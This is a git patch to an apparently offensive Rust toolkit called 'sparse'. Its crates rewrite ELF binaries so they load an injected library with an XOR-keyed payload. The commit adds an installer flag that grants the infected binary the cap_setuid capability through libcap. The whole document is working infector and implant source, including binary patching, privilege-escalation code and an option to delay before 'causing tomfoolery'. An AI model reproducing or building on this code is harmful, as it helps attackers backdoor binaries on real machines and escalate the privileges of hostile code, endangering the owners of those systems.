From becd0c2f561cc42c800c4bfc9b349979c6a14d15 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Sun, 9 Feb 2025 01:11:23 -0500 Subject: [PATCH] feat: added the ability to set CAP_SETUID --- Cargo.lock | 3 + sparse-unix-infector/Cargo.toml | 1 + sparse-unix-infector/src/lib.rs | 139 +++++++++-------------------- sparse-unix-installer/Cargo.toml | 2 + sparse-unix-installer/src/main.rs | 14 +++ sparse-windows-infector/src/lib.rs | 25 +----- 6 files changed, 66 insertions(+), 118 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 18983f1..0a24cc9 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3258,6 +3258,7 @@ dependencies = [ name = "sparse-unix-infector" version = "2.0.0" dependencies = [ + "cfg-if", "errno", "libc", "sparse-actions", @@ -3267,7 +3268,9 @@ dependencies = [ name = "sparse-unix-installer" version = "2.0.0" dependencies = [ + "errno", "hex", + "libc", "rand 0.9.0", "sparse-actions", "sparse-unix-infector", diff --git a/sparse-unix-infector/Cargo.toml b/sparse-unix-infector/Cargo.toml index 2a5edd4..7d09f47 100644 --- a/sparse-unix-infector/Cargo.toml +++ b/sparse-unix-infector/Cargo.toml @@ -7,3 +7,4 @@ version.workspace = true libc = "0.2.169" sparse-actions = { version = "2.0.0", path = "../sparse-actions" } errno = "0.3" +cfg-if = "1.0.0" diff --git a/sparse-unix-infector/src/lib.rs b/sparse-unix-infector/src/lib.rs index 15db01c..a8b8d4d 100644 --- a/sparse-unix-infector/src/lib.rs +++ b/sparse-unix-infector/src/lib.rs @@ -1,10 +1,11 @@ use std::{ io::{prelude::*, Error, SeekFrom}, + os::fd::AsRawFd, path::Path, slice, }; -use sparse_actions::payload_types::{Parameters, XOR_KEY}; +use sparse_actions::payload_types::XOR_KEY; mod elf_types; use elf_types::*; @@ -22,6 +23,7 @@ pub fn infect_elf_binary( binary_path: BP, target_library_path: LP, mut sparse_parameters: Vec, + #[cfg(target_os = "linux")] add_setuid_capability: bool, ) -> Result<(), Error> where BP: AsRef, @@ -71,99 +73,20 @@ where }; if let ElfIsa::Amd64 = isa { - infect_64bit_elf_binary(target_library_path, binary, binary_data)?; - - #[cfg(target_os = "linux")] - { - use libc::c_int; - - #[repr(C)] - struct CapT { - __private: [u8; 0], - } - - type CapValue = c_int; - - // cap_flag_t - const CAP_EFFECTIVE: u8 = 0; - const CAP_PERMITTED: u8 = 1; - const CAP_INHERITABLE: u8 = 2; - - // cap_flag_value_t - const CAP_SET: u8 = 0; - - extern "C" { - fn cap_free(cap: *mut CapT) -> c_int; - fn cap_get_file(filename: *const i8) -> *mut CapT; - fn cap_set_flag( - cap: *mut CapT, - cap_flag: u8, - count: c_int, - cap_flag_value: *const CapValue, - cap_flag_value_t: u8, - ) -> c_int; - fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int; - } - - // CAP_SETUID - let cap_list = [7]; - - unsafe { - let path = std::ffi::CString::new( - binary_path - .as_ref() - .to_str() - .expect("could not convert binary path to string"), - ) - .expect("could not convert binary path to string"); - - let current_caps = cap_get_file(path.as_ptr()); - - println!("Result of getting caps: {}", errno::errno()); - - println!( - "Result of setting effective caps: {} (errno: {})", - cap_set_flag( - current_caps, - CAP_EFFECTIVE, - 1, - &cap_list[0] as *const _, - CAP_SET - ), - errno::errno() - ); - - println!( - "Result of setting permitted caps: {} (errno: {})", - cap_set_flag( - current_caps, - CAP_PERMITTED, - 1, - &cap_list[0] as *const _, - CAP_SET - ), - errno::errno() - ); - - println!( - "Result of setting inheritable caps: {} (errno: {})", - cap_set_flag( - current_caps, - CAP_INHERITABLE, - 1, - &cap_list[0] as *const _, - CAP_SET - ), - errno::errno() - ); - - println!( - "Result of saving flags: {}, {}", - cap_set_file(path.as_ptr(), current_caps), - errno::errno() - ); - - cap_free(current_caps); + cfg_if::cfg_if! { + if #[cfg(target_os = "linux")] { + infect_64bit_elf_binary( + target_library_path, + binary, + binary_data, + add_setuid_capability, + )?; + } else { + infect_64bit_elf_binary( + target_library_path, + binary, + binary_data + )?; } } @@ -178,10 +101,11 @@ fn infect_64bit_elf_binary( library_path: LP, mut binary: F, mut binary_data: Vec, + #[cfg(target_os = "linux")] add_setuid_capability: bool, ) -> Result<(), Error> where LP: AsRef, - F: Read + Write + Seek, + F: Read + Write + Seek + AsRawFd, { let Some(library_name) = library_path.as_ref().file_name() else { eprintln!("Library name does not contain a valid file path!"); @@ -359,5 +283,30 @@ where binary.seek(SeekFrom::Start(0))?; binary.write(&binary_data)?; + #[cfg(target_os = "linux")] + if add_setuid_capability { + use libc::c_int; + + type CapT = libc::c_void; + + unsafe extern "C" { + fn cap_free(cap: *mut CapT) -> c_int; + fn cap_set_fd(fd: c_int, cap: *mut CapT) -> c_int; + fn cap_from_text(caps: *const libc::c_char) -> *mut CapT; + } + + // CAP_SETUID is 7 + // CAP_NET_RAW is 13 + // CAP_SETFCAP is 31 + // CAP_FOWNER is 3 + + unsafe { + let current_caps = cap_from_text(c"cap_setuid=eip".as_ptr()); + cap_set_fd(binary.as_raw_fd(), current_caps); + cap_free(current_caps); + } + + } + Ok(()) } diff --git a/sparse-unix-installer/Cargo.toml b/sparse-unix-installer/Cargo.toml index 6114ce8..866a752 100644 --- a/sparse-unix-installer/Cargo.toml +++ b/sparse-unix-installer/Cargo.toml @@ -4,7 +4,9 @@ edition = "2024" version.workspace = true [dependencies] +errno = "0.3.10" hex = "0.4.3" +libc = "0.2.169" rand = "0.9.0" sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" } diff --git a/sparse-unix-installer/src/main.rs b/sparse-unix-installer/src/main.rs index 541885e..521a84f 100644 --- a/sparse-unix-installer/src/main.rs +++ b/sparse-unix-installer/src/main.rs @@ -33,6 +33,11 @@ struct Options { /// How long to randomly wait (maximum) after being loaded before causing tomfoolery #[structopt(long, default_value = "0")] delay_seconds_maximum: u8, + + /// Whether or not to set the SETUID capability on a binary + #[cfg(target_os = "linux")] + #[structopt(long)] + set_setuid_capability: bool, } fn main() -> Result<(), Error> { @@ -78,7 +83,16 @@ fn main() -> Result<(), Error> { parameters.delay_seconds_min = opts.delay_seconds_minimum; parameters.delay_seconds_max = opts.delay_seconds_minimum; + #[cfg(not(target_os = "linux"))] infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?; + #[cfg(target_os = "linux")] + infect_elf_binary( + opts.binary, + opts.library_path, + parameters_buffer, + opts.set_setuid_capability, + )?; + Ok(()) } diff --git a/sparse-windows-infector/src/lib.rs b/sparse-windows-infector/src/lib.rs index 0b44c2e..a73d107 100644 --- a/sparse-windows-infector/src/lib.rs +++ b/sparse-windows-infector/src/lib.rs @@ -1,34 +1,13 @@ use std::{ - io::{prelude::*, Error, SeekFrom}, + io::{prelude::*, Error}, path::Path, - slice, }; -use sparse_actions::payload_types::{Parameters, XOR_KEY}; +use sparse_actions::payload_types::XOR_KEY; mod pe_types; use pe_types::*; -macro_rules! dbgX { - () => { - eprintln!("[{}:{}:{}]", file!(), line!(), column!()) - }; - ($val:expr $(,)?) => { - // Use of `match` here is intentional because it affects the lifetimes - // of temporaries - https://stackoverflow.com/a/48732525/1063961 - match $val { - tmp => { - eprintln!("[{}:{}:{}] {} = {:X?}", - file!(), line!(), column!(), stringify!($val), &tmp); - tmp - } - } - }; - ($($val:expr),+ $(,)?) => { - ($(dbgX!($val)),+,) - }; -} - #[cfg(not(debug_assertions))] pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY")); #[cfg(debug_assertions)]